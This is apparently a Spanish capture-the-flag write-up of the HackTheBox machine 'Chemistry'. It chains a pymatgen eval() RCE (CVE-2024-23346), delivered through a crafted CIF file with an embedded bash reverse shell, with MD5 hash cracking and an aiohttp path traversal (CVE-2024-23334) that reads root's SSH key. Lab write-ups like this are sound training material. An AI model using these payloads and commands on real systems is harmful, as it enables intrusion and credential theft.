Chemistry es una máquina Linux de dificultad fácil de HackTheBox. La cadena de explotación pasa por una aplicación Flask que analiza ficheros CIF, vulnerable a ejecución remota de código mediante CVE-2024-23346 en la librería pymatgen. Una vez dentro, crackeamos un hash MD5 de la base de datos SQLite para movernos lateralmente y escalamos privilegios leyendo la clave SSH de root a través de un path traversal en un servicio AioHTTP interno (CVE-2024-23334).
1. Reconocimiento inicial
Escaneamos con Nmap:
sudo nmap -p- -sS -sCV --min-rate 5000 -n -Pn 10.10.11.38 -oN scan| Puerto | Estado | Servicio | Versión |
|---|---|---|---|
| 22/tcp | open | ssh | OpenSSH 8.2p1 Ubuntu |
| 5000/tcp | open | http | Werkzeug/3.0.3 Python/3.9.5 |
Solo SSH y una aplicación Flask en el puerto 5000. Abrimos el navegador.
2. Enumeración de la aplicación web
La web es un analizador de ficheros CIF (Crystallographic Information File), usados en química para describir estructuras cristalinas. Tiene registro, login y subida de ficheros .cif.
Nos registramos con cualquier usuario y accedemos al panel de subida.
3. Explotación: CVE-2024-23346 (RCE en pymatgen)
CVE-2024-23346 afecta a la librería pymatgen (usada para procesar los CIF). El método JonesFaithfulTransformation.from_transformation_str() pasa la entrada del usuario directamente a eval() sin ninguna sanitización. Podemos inyectar código Python arbitrario en el campo _space_group_magn.transform_BNS_Pp_abc del fichero CIF.
Creamos el fichero shell.cif con el payload de reverse shell:
data_pwn
_cell_length_a 10.00000
_cell_length_b 10.00000
_cell_length_c 10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta 90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
_space_group_magn.transform_BNS_Pp_abc '[d for d in ().__class__.__mro__[1].__getattribute__(*[().__class__.__mro__[1]]+["__subclasses__"])().__getattr__("load_module")("os").system("bash -c '\''bash -i >& /dev/tcp/10.10.14.X/4444 0>&1'\''");0,0,0]'
loop_
_atom_site_label
_atom_site_fract_x
C1 0 0 0Nos ponemos en escucha:
nc -lvnp 4444Subimos shell.cif a través del formulario y, al procesarse, recibimos la conexión:
Connection received on 10.10.11.38 43812
bash: cannot set terminal process group: Inappropriate ioctl
app@chemistry:~/app$Estamos dentro como app. Mejoramos la shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm4. Extracción de credenciales de la base de datos
Buscamos la base de datos de la aplicación:
find . -name "*.db" 2>/dev/null./instance/database.dbLa abrimos con sqlite3:
sqlite3 instance/database.db.tablesstructure userSELECT username, password FROM user;admin|2861debaf8d99436a10ed6f75a252abf
app|197865e46b878d9e74a0346b6d59886a
rosa|63ed86ee9f624c7b14f1d4f43dc251a5
robert|02fcf7cfc10adc37959fb21f06c6240b
...Los hashes son de 32 caracteres: formato MD5. Los crackeamos con Hashcat:
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt63ed86ee9f624c7b14f1d4f43dc251a5:unicorniosrosados5. Acceso por SSH como rosa
ssh rosa@10.10.11.38Introducimos la contraseña unicorniosrosados y accedemos:
cat user.txtFlag de usuario obtenida.
6. Escalada de privilegios: CVE-2024-23334 (path traversal en AioHTTP)
Enumeramos los servicios internos escuchando en localhost:
ss -tlnpState Recv-Q Send-Q Local Address:Port
LISTEN 0 128 127.0.0.1:8080Hay un servicio corriendo en el puerto 8080 solo accesible desde localhost. Comprobamos con curl:
curl -s http://127.0.0.1:8080/La respuesta muestra una aplicación Python que sirve archivos estáticos con AioHTTP. Esta versión tiene configurado follow_symlinks=True en su ruta estática /assets/, lo que la hace vulnerable a CVE-2024-23334 (path traversal con lectura de archivos arbitrarios del sistema).
La clave es usar --path-as-is en curl para que no normalice los ../ antes de enviar la petición:
curl --path-as-is http://127.0.0.1:8080/assets/../../../../root/.ssh/id_rsa-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDENEFpGERmGFxl3dSBFPbX3OcxaEy4Nh0Y/G0M4MlpVwAAAJgXOqz4Fz
...
-----END OPENSSH PRIVATE KEY-----Guardamos la clave, le damos los permisos correctos y accedemos como root:
chmod 600 root_id_rsa
ssh -i root_id_rsa root@10.10.11.38root@chemistry:~#cat root.txtResumen de técnicas utilizadas
- Enumeración de servicios con Nmap
- CVE-2024-23346 — RCE via
eval()sin sanitizar en la libreríapymatgenal procesar ficheros CIF - Extracción de hashes MD5 de una base de datos SQLite
- Cracking de hashes con Hashcat
- Descubrimiento de servicio interno en localhost con
ss - CVE-2024-23334 — Path traversal en AioHTTP con
follow_symlinks=Truepara leer la clave SSH de root